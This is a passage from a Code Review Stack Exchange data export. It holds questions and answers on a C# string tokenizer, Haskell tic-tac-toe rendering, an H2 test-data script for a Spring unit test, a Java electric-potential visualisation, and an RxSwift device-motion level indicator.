'"')\n {\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Initialisation\n var tokenList = ImmutableList<string>.Empty;\n var tokenBuilder = new StringBuilder();\n\n var expectingDelimiterOrQuotes = false; // Next char must be Delimiter or Quotes\n var hasReadTokenChar = false; // We are not between tokens (=> No quoting)\n var isQuoting = false;\n\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Scan character by character\n foreach (char c in sourceString)\n {\n if (expectingDelimiterOrQuotes)\n {\n expectingDelimiterOrQuotes = false;\n\n if (c == delimiter)\n {\n isQuoting = false;\n }\n\n else if (c == quotes)\n {\n tokenBuilder.Append(c);\n hasReadTokenChar = true;\n continue;\n }\n\n else\n {\n throw _quotesMustBeEscapedException;\n }\n }\n\n // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --\n\n if (c == quotes)\n {\n if (isQuoting)\n {\n expectingDelimiterOrQuotes = true;\n }\n\n else\n {\n if (hasReadTokenChar)\n {\n throw _nonQuotedTokenMayNotContainQuotes;\n }\n\n isQuoting = true;\n }\n }\n\n else if (c == delimiter)\n {\n if (isQuoting)\n {\n tokenBuilder.Append(c);\n hasReadTokenChar = true;\n }\n else\n {\n tokenList = tokenList.Add(tokenBuilder.ToString());\n tokenBuilder.Clear();\n hasReadTokenChar = false;\n }\n }\n\n // Any other character is just being appended to\n else\n {\n tokenBuilder.Append(c);\n hasReadTokenChar = true;\n }\n }\n\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Tidy up open flags and checking consistency\n\n tokenList = tokenList.Add(tokenBuilder.ToString());\n\n if (isQuoting && !expectingDelimiterOrQuotes)\n {\n throw _tokenNotFullyEnclosed;\n }\n\n return tokenList;\n }\n\n /// <summary>\n /// Splits the string by declaring one character as escape\n /// </summary>\n public static ImmutableList<string> SplitRespectingEscapes(this string sourceString, char delimiter = ' ', char escapeChar = '\\\\')\n {\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Initialisation\n var tokenList = ImmutableList<string>.Empty;\n var tokenBuilder = new StringBuilder();\n\n var escapeNext = false;\n\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Scan character by character\n foreach (char c in sourceString)\n {\n if (escapeNext)\n {\n tokenBuilder.Append(c);\n escapeNext = false;\n continue;\n }\n\n if (c == escapeChar)\n {\n escapeNext = true;\n }\n else if (c == delimiter)\n {\n tokenList = tokenList.Add(tokenBuilder.ToString());\n tokenBuilder.Clear();\n }\n else\n {\n tokenBuilder.Append(c);\n }\n }\n\n // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n // Tidy up open flags and checking consistency\n tokenList = tokenList.Add(tokenBuilder.ToString());\n\n if (escapeNext) throw new FormatException(); // Expecting additional char\n\n\n return tokenList;\n }\n\n /// <summary>\n /// Splits the string by calling a simple String.Split\n /// </summary>\n public static ImmutableList<string> SplitPlain(this string sourceString, char delimiter = ' ')\n {\n return ImmutableList<string>.Empty.AddRange(sourceString.Split(delimiter));\n }\n }\n}\n</code></pre>\n<h2>Abstract wrapper base class</h2>\n<pre><code>using System;\nusing System.Collections.Immutable;\n\nnamespace pillepalle1.Text\n{\n public abstract class AStringTokenizer\n {\n public AStringTokenizer()\n {\n\n }\n\n public AStringTokenizer(string sourceString)\n {\n SourceString = sourceString;\n }\n\n /// <summary>\n /// String that is supposed to be split in tokens\n /// </summary>\n public string SourceString\n {\n get\n {\n return _sourceString;\n }\n set\n {\n if (null == value)\n {\n throw new ArgumentNullException("Cannot split null in tokens");\n }\n else if (_sourceString.Equals(value))\n {\n // nop\n }\n else\n {\n _sourceString = value;\n _InvalidateTokens();\n }\n }\n }\n private string _sourceString = String.Empty;\n\n /// <summary>\n /// Character indicating how the source string is supposed to be split\n /// </summary>\n public char Delimiter\n {\n get\n {\n return _delimiter;\n }\n set\n {\n if (value != _delimiter)\n {\n _delimiter = value;\n _InvalidateTokens();\n }\n }\n }\n private char _delimiter = ' ';\n\n /// <summary>\n /// Flag indicating whether whitespaces should be removed from start and end of each token\n /// </summary>\n public bool TrimTokens\n {\n get\n {\n return _trimTokens;\n }\n set\n {\n if (value != _trimTokens)\n {\n _trimTokens = value;\n _InvalidateTokens();\n }\n }\n }\n private bool _trimTokens = false;\n\n /// <summary>\n /// Result of tokenization\n /// </summary>\n public ImmutableList<string> Tokens\n {\n get\n {\n if (null == _tokens)\n {\n _tokens = Tokenize();\n\n if (TrimTokens)\n {\n _tokens = _TrimTokens(_tokens);\n }\n }\n\n return _tokens;\n }\n }\n private ImmutableList<string> _tokens = null;\n\n /// <summary>\n /// Split SourceString into tokens\n /// </summary>\n protected abstract ImmutableList<string> Tokenize();\n\n /// <summary>\n /// Trims whitespaces from tokens\n /// </summary>\n /// <param name="candidates">List of tokens</param>\n private ImmutableList<string> _TrimTokens(ImmutableList<string> candidates)\n {\n var trimmedTokens = ImmutableList<string>.Empty;\n\n foreach (var token in candidates)\n {\n trimmedTokens = trimmedTokens.Add(token.Trim());\n }\n\n return trimmedTokens;\n }\n\n /// <summary>\n /// Invalidate and recompute tokens if necessary\n /// </summary>\n protected void _InvalidateTokens()\n {\n _tokens = null;\n }\n }\n}\n</code></pre>\n<h2>Wrapper for plain tokenization</h2>\n<pre><code>using System.Collections.Immutable;\n\nnamespace pillepalle1.Text\n{\n public class PlainStringTokenizer : AStringTokenizer\n {\n protected override ImmutableList<string> Tokenize()\n {\n return SourceString.SplitPlain(Delimiter);\n }\n }\n}\n</code></pre>\n<h2>Wrapper for quotation tokenization</h2>\n<pre><code>using System.Collections.Immutable;\n\nnamespace pillepalle1.Text\n{\n public class QuotationStringTokenizer : AStringTokenizer\n {\n /// <summary>\n /// Indicates which character is used to encapsulate tokens\n /// </summary>\n public char Quotes\n {\n get\n {\n return _quotes;\n }\n set\n {\n if (value != _quotes)\n {\n _quotes = value;\n _InvalidateTokens();\n }\n }\n }\n private char _quotes = '"';\n\n protected override ImmutableList<string> Tokenize()\n {\n return SourceString.SplitRespectingQuotation(Delimiter, Quotes);\n }\n }\n}\n</code></pre>\n<h2>Wrapper for escape tokenization</h2>\n<pre><code>using System.Collections.Immutable;\n\nnamespace pillepalle1.Text\n{\n public class EscapedStringTokenizer : AStringTokenizer\n {\n /// <summary>\n /// Indicates which character is used to escape characters\n /// </summary>\n public char Escape\n {\n get\n {\n return _escape;\n }\n set\n {\n if (value != _escape)\n {\n _escape = value;\n _InvalidateTokens();\n }\n }\n }\n private char _escape = '"';\n\n protected override ImmutableList<string> Tokenize()\n {\n return SourceString.SplitRespectingEscapes(Delimiter, Escape);\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T12:53:20.997",
"Id": "489442",
"Score": "0",
"body": "Looking good! Keeping the functions isolated and then optionally wrapping them is good for separation of concerns - if you need to fix the algorithm, go for the functions - if it's the \"api\" that needs to change, you can focus on the wrapper classes.\n\nNotably, I think underscore naming is purely a matter of convention. Most importantly, be consistent. But for the record I would *not* assume that they imply the presence or absence of concurrency checks. Sometimes public members don't perform those, and sometimes private members still do!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T17:13:08.043",
"Id": "249575",
"ParentId": "249527",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249551",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:07:33.793",
"Id": "249527",
"Score": "9",
"Tags": [
"c#",
"strings"
],
"Title": "StringTokenizer for .NET Core"
}
|
249527
|
<p>I am currently learning Haskell and as an exercise, I am building a simple tic-tac-toe program. I start with</p>
<pre><code>import Data.Vector
data Cell = Empty | X | O
type Board = Vector Cell
</code></pre>
<p>and then, to render the board:</p>
<pre><code>render :: Board -> IO ()
render b = do
renderSep
renderRow 0 b
renderSep
renderRow 1 b
renderSep
renderRow 2 b
renderSep
where
renderSep :: IO ()
renderSep = putStrLn "+---+---+---+"
renderRow :: Int -> Board -> IO ()
renderRow r b = do
putStr "| " >> putStr (cellRepr $ getCell r 0 b)
putStr " | " >> putStr (cellRepr $ getCell r 1 b)
putStr " | " >> putStr (cellRepr $ getCell r 2 b)
putStrLn " |"
</code></pre>
<p>How could I abstract my implementation so that there's less repetition? Especially in the main body of the <code>render</code> function. I thought of using <code>sequence</code> together with the list <code>fmap (\x -> renderRow x b >> renderSep) [0, 1, 2]</code>. However, in this case I get a value of type <code>IO [()]</code> and not <code>IO ()</code>.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:11:23.010",
"Id": "489211",
"Score": "0",
"body": "Have you tried writing functions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:13:12.007",
"Id": "489212",
"Score": "0",
"body": "I'm sorry, I don't see what you mean. I wrote functions, yes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:16:48.803",
"Id": "489215",
"Score": "1",
"body": "To avoid the repetition."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T23:31:05.713",
"Id": "489301",
"Score": "0",
"body": "I don't know haskell, but if you can write loops in the language that should take care of some of the code repetition."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T07:22:50.373",
"Id": "490081",
"Score": "1",
"body": "A possible improvement is to use [`forM_`](https://hackage.haskell.org/package/base-4.14.0.0/docs/Control-Monad.html#v:forM_) – notice the underscore, which is a convention and means that we discard the results. Using this function you can replace the repetitive part with `forM_ [0..2] $ \\i -> renderRow i b >> renderSep`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-30T21:47:05.653",
"Id": "490450",
"Score": "0",
"body": "You can certainly use `sequence_` to get `IO ()` back. Or you can follow `sequence` by a `>> return ()`"
}
] |
[
{
"body": "<p>I think a simple way to address the problem is by building the board first then printing it:</p>\n<pre><code>empty_row :: String\nempty_row = "+---+---+---+"\n\nboard_repr :: type of b -> String\nboard_repr b = empty_row + concat ( map (\\x -> (build_row x b) + empty_row ) [0, 1, 2] )\n\nmain = print (board_repr b)\n</code></pre>\n<p>Take this as pseudo-code pointing in an interesting direction by separating the concerns of building a representation and printing it.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-17T19:37:14.327",
"Id": "256157",
"ParentId": "249528",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:55:01.763",
"Id": "249528",
"Score": "2",
"Tags": [
"haskell"
],
"Title": "Print a tic-tac-toe board"
}
|
249528
|
<p>For unit testing my ProductList service, I tried run a script to insert some data and then try to get this data and compare the list size.</p>
<p>But my database insert script is not running and returns null.</p>
<p>The related code is below.</p>
<p>Looking forward to your evaluation.</p>
<p>Thanks.</p>
<pre><code> @Test
public void getProductsList() throws Exception {
initDatabase();
RequestBuilder request = MockMvcRequestBuilders
.get ("http://localhost:8080/products")
.accept(MediaType.APPLICATION_JSON)
.contentType(MediaType.APPLICATION_JSON);
MvcResult result = mockMvc.perform(request).andReturn();
String content = result.getResponse().getContentAsString();
Product[] productList = super.mapFromJson(content, Product[].class);
assertEquals(3, productList.length);
}
</code></pre>
<p>InitDatabase method :</p>
<pre><code>private static String connection_url = "jdbc:h2:file:C:/data/sample/product;DB_CLOSE_DELAY=-1";
private static String username = "";
private static String password = "";
public static void initDatabase() {
Connection connection = null;
try {
connection = DriverManager.getConnection(connection_url, username, password);
ResultSet rs = RunScript.execute(connection, new FileReader("src/test/resources/testDataProduct.sql"));
System.out.println(rs.toString());
} catch (Exception e) {
throw new TransactionException("Error creating test data :" + e.getMessage());
} finally {
//DbUtils.closeQuietly(connection);
}
}
</code></pre>
<p>SQL:</p>
<pre><code>-- Test data initialization
DROP TABLE IF EXISTS PRODUCT;
CREATE TABLE PRODUCT (ID LONG PRIMARY KEY AUTO_INCREMENT NOT NULL,
CATEGORY VARCHAR(30) NOT NULL,
NAME VARCHAR(30) NOT NULL,
DESCRIPTION VARCHAR(30) NOT NULL,
UNITPRICE DECIMAL(19,4) NOT NULL,
INVENTORY VARCHAR(10) NOT NULL,
PAYMENT_OPTIONS VARCHAR(30) NOT NULL,
DELIVERY_OPTIONS VARCHAR(30) NOT NULL);
CREATE UNIQUE INDEX idx_acc on PRODUCT(ID,NAME);
INSERT INTO PRODUCT (ID, CATEGORY, NAME, DESCRIPTION, UNITPRICE, INVENTORY, PAYMENT_OPTIONS, DELIVERY_OPTIONS)
VALUES (101,'ELECTRONICS','TV','LG Smart TV',1000.0000,20,'DIRECT','X');
INSERT INTO PRODUCT (ID, CATEGORY, NAME, DESCRIPTION, UNITPRICE, INVENTORY, PAYMENT_OPTIONS, DELIVERY_OPTIONS)
VALUES (102,'FASHION','Skirt 101','Black Skirt',20.0000,10,'INSTALLMENT','X');
INSERT INTO PRODUCT (ID, CATEGORY, NAME, DESCRIPTION, UNITPRICE, INVENTORY, PAYMENT_OPTIONS, DELIVERY_OPTIONS)
VALUES (103,'FOOD','Bread','Whole Wheat Bread',5,5,'DIRECT','X');
</code></pre>
<p>I am getting error:</p>
<pre><code>org.hibernate.TransactionException: Error creating test data :null
at com.merchant.springjwtmerchant.ProductServiceControllerTest.initDatabase(ProductServiceControllerTest.java:77)
at com.merchant.springjwtmerchant.ProductServiceControllerTest.getProductsList(ProductServiceControllerTest.java:144)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59)
at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56)
at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
at org.springframework.test.context.junit4.statements.RunBeforeTestExecutionCallbacks.evaluate(RunBeforeTestExecutionCallbacks.java:74)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-13T16:42:45.760",
"Id": "492806",
"Score": "0",
"body": "[CodeReview@SE reviews working code that is yours to a) put into the public domain b) change](https://codereview.stackexchange.com/help/on-topic)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T11:34:47.130",
"Id": "249537",
"Score": "1",
"Tags": [
"sql",
"unit-testing",
"database",
"spring"
],
"Title": "Microservice unit testing database script insert Error - H2"
}
|
249537
|
<p>This is exercise 3.2.23. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Write a program that creates an array of charged particles
from values given on standard input (each charged particle is
specified by its x-coordinate, y-coordinate, and charge value) and
produces a visualization of the electric potential in the unit square.
To do so, sample points in the unit square. For each sampled point,
compute the electric potential at that point (by summing the electric
potentials due to each charged particle) and plot the corresponding
point in a shade of gray proportional to the electric potential.</p>
</blockquote>
<p>The following is the data-type implementation for charged particles from the book which I modified (beautified and added more appropriate names):</p>
<pre><code>public class Charge {
private final double pointXCoordinate;
private final double pointYCoordinate;
private final double charge;
public Charge(double pointXCoordinate, double pointYCoordinate, double charge) {
this.pointXCoordinate = pointXCoordinate;
this.pointYCoordinate = pointYCoordinate;
this.charge = charge;
}
public double calculatePotentialAt(double otherPointXCoordinate, double otherPointYCoordinate) {
double electrostaticConstant = 8.99e09;
double distanceInXCoordinate = otherPointXCoordinate - pointXCoordinate;
double distanceInYCoordinate = otherPointYCoordinate - pointYCoordinate;
return electrostaticConstant * charge / Math.sqrt(distanceInXCoordinate * distanceInXCoordinate + distanceInYCoordinate * distanceInYCoordinate);
}
public String toString() {
return charge + " at (" + pointXCoordinate + "," + pointYCoordinate + ")";
}
}
</code></pre>
<p>Here is my program (but to increase the variety I created random particles instead of reading from input data):</p>
<pre><code>import java.awt.Color;
public class Potential {
public static void main(String[] args) {
int width = Integer.parseInt(args[0]);
int height = Integer.parseInt(args[1]);
int numberOfCharges = Integer.parseInt(args[2]);
double chargeSignDistribution = Double.parseDouble(args[3]);
double chargeSizeDistribution = Double.parseDouble(args[4]);
Charge[] charges = new Charge[numberOfCharges];
for (int i = 0; i < numberOfCharges; i++) {
double pointXCoordinate = Math.random();
double pointYCoordinate = Math.random();
double charge = 0;
if (Math.random() < chargeSignDistribution) charge = -chargeSizeDistribution + Math.random() * chargeSizeDistribution;
else charge = Math.random() * chargeSizeDistribution;
charges[i] = new Charge(pointXCoordinate, pointYCoordinate, charge);
}
double[][] potentials = new double[width][height];
for (int j = 0; j < width; j++) {
for (int i = 0; i < height; i++) {
for (int k = 0; k < numberOfCharges; k++) {
potentials[j][i] += charges[k].calculatePotentialAt(1.0 * j / width, 1.0 * i / height);
}
/*
Obtained '180' by experimentation.
Scaled down by the amount of electrostatic constant (9e09).
*/
potentials[j][i] = 180 + potentials[j][i] / 9e09;
}
}
int[][] rescaledPotentials = new int[width][height];
for (int j = 0; j < width; j++) {
for (int i = 0; i < height; i++) {
if (potentials[j][i] < 0) rescaledPotentials[j][i] = 0;
else if (potentials[j][i] > 255) rescaledPotentials[j][i] = 255;
else rescaledPotentials[j][i] = (int) potentials[j][i];
}
}
Color[][] colors = new Color[width][height];
for (int j = 0; j < width; j++) {
for (int i = 0; i < height; i++) {
int c = rescaledPotentials[j][i];
colors[j][i] = new Color(c, c, c);
}
}
Picture picture = new Picture(width, height);
for (int j = 0; j < width; j++) {
for (int i = 0; i < height; i++) {
picture.set(j, i, colors[j][i]);
}
}
picture.show();
}
}
</code></pre>
<p><a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/Picture.html" rel="nofollow noreferrer">Picture</a> is a simple API written by the authors of the book. I checked my program and it works. Here are two instances of it:</p>
<p>Input: 3840 2160 200 0.5 10</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/AuhLT.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/AuhLT.jpg" alt="enter image description here" /></a></p>
<p>Input: 3840 2160 5000 0.5 5</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/BYspL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BYspL.jpg" alt="enter image description here" /></a></p>
<p>Is there any way that I can improve my program?</p>
<p>Thanks for your attention.</p>
|
[] |
[
{
"body": "<p>Some minor improvements can be applied to your code; you have the following method:</p>\n<pre><code>public double calculatePotentialAt(double otherPointXCoordinate, double otherPointYCoordinate) {\n double electrostaticConstant = 8.99e09;\n double distanceInXCoordinate = otherPointXCoordinate - pointXCoordinate;\n double distanceInYCoordinate = otherPointYCoordinate - pointYCoordinate;\n return electrostaticConstant * charge / Math.sqrt(distanceInXCoordinate * distanceInXCoordinate + distanceInYCoordinate * distanceInYCoordinate);\n}\n</code></pre>\n<p>You could apply the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Math.html#hypot-double-double-\" rel=\"nofollow noreferrer\"><code>Math.hypot</code></a> method to calculate the distance between two points in this way :</p>\n<pre><code>public double calculatePotentialAt(double otherPointXCoordinate, double otherPointYCoordinate) {\n double electrostaticConstant = 8.99e09;\n double distanceInXCoordinate = otherPointXCoordinate - pointXCoordinate;\n double distanceInYCoordinate = otherPointYCoordinate - pointYCoordinate;\n double distance = Math.hypot(distanceInXCoordinate, distanceInYCoordinate);\n return electrostaticConstant * charge / distance;\n}\n</code></pre>\n<p>Note: as ex nihilo observed in his comment, <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Math.html#hypot-double-double-\" rel=\"nofollow noreferrer\"><code>Math.hypot</code></a> method <em>should</em> be used because it <em>returns sqrt(x2 +y2) without intermediate overflow or underflow</em>, cases not handled by the method present in your code.</p>\n<p>You have the following <code>toString</code> method in your code:</p>\n<pre><code>public String toString() {\n return charge + " at (" + pointXCoordinate + "," + pointYCoordinate + ")";\n}\n</code></pre>\n<p>To improve readibility you could apply the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/String.html#format-java.lang.String-java.lang.Object...-\" rel=\"nofollow noreferrer\"><code>String.format</code></a> method in this way:</p>\n<pre><code>public String toString() {\n return String.format("%f at (%f,%f)", charge, pointXCoordinate, pointYCoordinate);\n}\n</code></pre>\n<p>In your code the following lines are present:</p>\n<pre><code>double charge = 0;\nif (Math.random() < chargeSignDistribution) charge = -chargeSizeDistribution + Math.random() * chargeSizeDistribution;\nelse charge = Math.random() * chargeSizeDistribution;\n</code></pre>\n<p>You could rewrite them in this way:</p>\n<pre><code>double charge = Math.random() * chargeSizeDistribution;\nif (Math.random() < chargeSignDistribution) {\n charge -= chargeSizeDistribution;\n} \n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:04:14.393",
"Id": "489332",
"Score": "2",
"body": "You should explain _why_ `Math.hypot` not only could, but _should_ be used. In C it is critical to know about `hypot` for numeric code. A naive calculation like `h = sqrt(x*x + y*y)` can overflow or underflow in the multiplications, and this is a real possibility in modelling code as in OP's question. In C overflow/underflow can lead to undefined behavior; `hypot` guarantees that this will not happen. Java makes a similar guarantee for intermediate results with `Math.hypot`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:18:00.133",
"Id": "489369",
"Score": "0",
"body": "@exnihilo You are right, I had been too schematic in my answer and I'm adding a note to my answer referring to your comment."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T17:34:33.883",
"Id": "249548",
"ParentId": "249541",
"Score": "8"
}
},
{
"body": "<ul>\n<li><p>Test cases are not convincing. I understand that the program doesn't crash, and by visual inspection of the code it seems to do the right things. However, it is pretty much impossible to check how the potential of 5000 random charges should look like. I'd rather see at least two elementary potentials: one of a single charge, and one of a <a href=\"https://en.wikipedia.org/wiki/Electric_dipole_moment#Potential_and_field_of_an_electric_dipole\" rel=\"noreferrer\">dipole</a>.</p>\n</li>\n<li><p>No naked loops please. Every loop implements an important part of the job, and deserves a name. Consider</p>\n<pre><code> public static void main(String[] args) {\n ....\n Charge[] charges = generateRandomCharges(numberOfCharges, chargeSignDistribution, chargeSizeDistribution);\n double[][] potentials = computePotentials(width, height, charges);\n rescalePotentials(width, height, potentials);\n ....\n</code></pre>\n</li>\n<li><p>Rescaling is a misnomer. What you do is called clamping.</p>\n<p>It also seems that shifting values by 180 belongs to the <em>clamping</em> phase. Shifting and clamping together prepare for visualization, and have nothing to do with computing potentials.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T21:01:02.953",
"Id": "489293",
"Score": "0",
"body": "You are absolutely right. Actually for myself to become sure I first checked a dipole. But since the exercise involved displaying many charges, I chose those test cases in here. And I guess adding them now is against the site's rules, right?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T20:14:51.437",
"Id": "249553",
"ParentId": "249541",
"Score": "10"
}
}
] |
{
"AcceptedAnswerId": "249553",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:25:14.227",
"Id": "249541",
"Score": "5",
"Tags": [
"java",
"beginner"
],
"Title": "Electric potential visualization"
}
|
249541
|
<p>I've created a simple function to work as a level, where the dot on screen is centered when the device is completely flat. It changes position based on device orientation. I use RxSwift to update the position of the dot. I'm relatively new to RxSwift, so I'm worried that I'm not using it correctly or to its full value.</p>
<p>I also don't understand capturing <code>self</code> all that well, so please feel free to analyze that as well.</p>
<p>Any input is appreciated!</p>
<pre class="lang-swift prettyprint-override"><code>class ViewController: UIViewController {
@IBOutlet var levelDot: UIView!
var positiveMax: (x: CGFloat, y: CGFloat)!
override func viewDidLoad() {
levelDot.center = self.view.center
super.viewDidLoad()
positiveMax = (view.frame.maxX, view.frame.maxY)
initGryo()
}
fileprivate func initGryo() {
let pitch = PublishSubject<Double>()
let roll = PublishSubject<Double>()
let motion = CMMotionManager()
guard motion.isDeviceMotionAvailable else { return }
motion.deviceMotionUpdateInterval = 1/60
motion.startDeviceMotionUpdates()
let gyroTimer = Timer(fire: Date(), interval: 1/60, repeats: true, block: { timer in
if let attitude = motion.deviceMotion?.attitude {
let yModifier: CGFloat = 1.3 // modifier is to make small changes seem bigger on the screen
_ = pitch.map( { (self.positiveMax!.y + CGFloat($0)*self.positiveMax!.y * yModifier) })
.map( {$0 / 2} )
.subscribe(onNext: { centerY in
//prevent dot from moving off screen
guard centerY < self.positiveMax.y else {
self.levelDot.center.y = self.positiveMax.y
return
}
guard centerY > 0 else {
self.levelDot.center.y = 0
return
}
//dot position -- does this capture self? would making levelDot a weak var prevent this?
self.levelDot.center.y = centerY
})
pitch.onNext(attitude.pitch)
let xModifier: CGFloat = 1.15 // modifier is to make small changes seem bigger on the screen
_ = roll.map( { (self.positiveMax!.x + CGFloat($0)*self.positiveMax!.x*xModifier) })
.map({ $0 / 2 })
.subscribe(onNext: { centerX in
//prevent dot from moving off screen
guard centerX < self.positiveMax.x else {
self.levelDot.center.x = self.positiveMax.x
return
}
guard centerX > 0 else {
self.levelDot.center.x = 0
return
}
//dot position
self.levelDot.center.x = centerX
})
roll.onNext(attitude.roll)
}
})
RunLoop.current.add(gyroTimer, forMode: .default)
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T18:52:53.473",
"Id": "489290",
"Score": "0",
"body": "I'm wondering if replacing the `self.levelDot.center.x = centerX` with a class computed property and `didSet` method would be better?"
}
] |
[
{
"body": "<p>You are correct that you are not using it correctly. For example Subjects are only needed to convert non-rx code into Rx code or to handle cycles. The fact that you have two of them is problematic.</p>\n<p>When working on an Observable sequence, start with the effect you want to achieve the figure out what causes the effect to change. In this case, the effect is the updating of the center of the <code>levelDot</code> view.</p>\n<p>The center of a view doesn't have a reactive wrapper on it in RxCocoa, so the first step is to make that:</p>\n<pre><code>extension Reactive where Base: UIView {\n var center: Binder<CGPoint> {\n return Binder(base) { view, point in\n view.center = point\n }\n }\n}\n</code></pre>\n<p>With the above, you will now be able to <code>.bind(to: levelDot.rx.center)</code>. In order to do <em>that</em> you need an <code>Observable<CGPoint></code> that is emitted every time the <code>CMMotionManager</code> updates. CoreMotion is also not in the RxCocoa library by default, but the tools are available in RxCocoa to wrap it.</p>\n<pre><code>extension Reactive where Base: CMMotionManager {\n func startDeviceMotionUpdates(to queue: OperationQueue) -> Observable<CMDeviceMotion> {\n return Observable.create { [base] observer in\n base.startDeviceMotionUpdates(to: queue, withHandler: handler(observer: observer))\n return Disposables.create { [base] in\n base.stopDeviceMotionUpdates()\n }\n }\n }\n}\n\nfunc handler<T>(observer: AnyObserver<T>) -> (T?, Error?) -> Void {\n return { data, error in\n if let data = data {\n observer.onNext(data)\n }\n else {\n observer.onError(error ?? RxError.unknown)\n }\n }\n}\n</code></pre>\n<p>(I moved the handler into its own function because it can be used for many of the other CoreMotion handler callbacks.)</p>\n<p>With the above, you can now call <code>myCoreMotionManager.rx.startDeviceMotionUpdates(on:)</code> with whatever queue you want to use. It will create an Observable. When that observable is subscribed to, it will call the supplied closure which calls the manager's <code>startDeviceMotionUpdates(to:withHandler:)</code> method. The handler will send onNext events to the server whenever the device motion updates. When the observable is unsubscribed to, the disposable will turn off the updates.</p>\n<p>Now, it's just a matter of mapping from one to the other which can be done with a pure function. Since you have outside data that is needed in that function, you need a function factory:</p>\n<pre><code>func point(limiatedBy positiveMax: CGPoint) -> (CMDeviceMotion) -> CGPoint {\n return { deviceMotion in\n let attitude = deviceMotion.attitude\n let x = max(0, min(positiveMax.x, positiveMax.x + CGFloat(attitude.roll) * positiveMax.x * 1.15 / 2))\n let y = max(0, min(positiveMax.y, positiveMax.y + CGFloat(attitude.pitch) * positiveMax.y * 1.3 / 2))\n return CGPoint(x: x, y: y)\n }\n}\n</code></pre>\n<p>Lastly, you forgot the DisposeBag to unwind everything when the view controller goes out of scope...</p>\n<p>With all of the above available, your view controller is quite simple. It almost writes itself and you might want to try writing it before you examine the code below:</p>\n<pre><code>class ViewController: UIViewController {\n\n @IBOutlet var levelDot: UIView!\n var positiveMax: CGPoint = CGPoint.zero\n let disposeBag = DisposeBag()\n\n override func viewDidLoad() {\n super.viewDidLoad()\n levelDot.center = CGPoint(x: view.bounds.midX, y: view.bounds.midY)\n positiveMax = CGPoint(x: view.bounds.maxX, y: view.bounds.maxY)\n initGryo()\n }\n\n fileprivate func initGryo() {\n let motion = CMMotionManager()\n guard motion.isDeviceMotionAvailable else { return }\n motion.deviceMotionUpdateInterval = 1/60\n\n motion.rx.startDeviceMotionUpdates(to: OperationQueue.main)\n .map(point(limiatedBy: positiveMax))\n .bind(to: levelDot.rx.center)\n .disposed(by: disposeBag)\n }\n}\n</code></pre>\n<p>The other critique you asked for involves capturing self... You should never capture self in a <code>.map(_:)</code> or filter for that matter. Just don't do it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-14T00:17:41.787",
"Id": "496531",
"Score": "0",
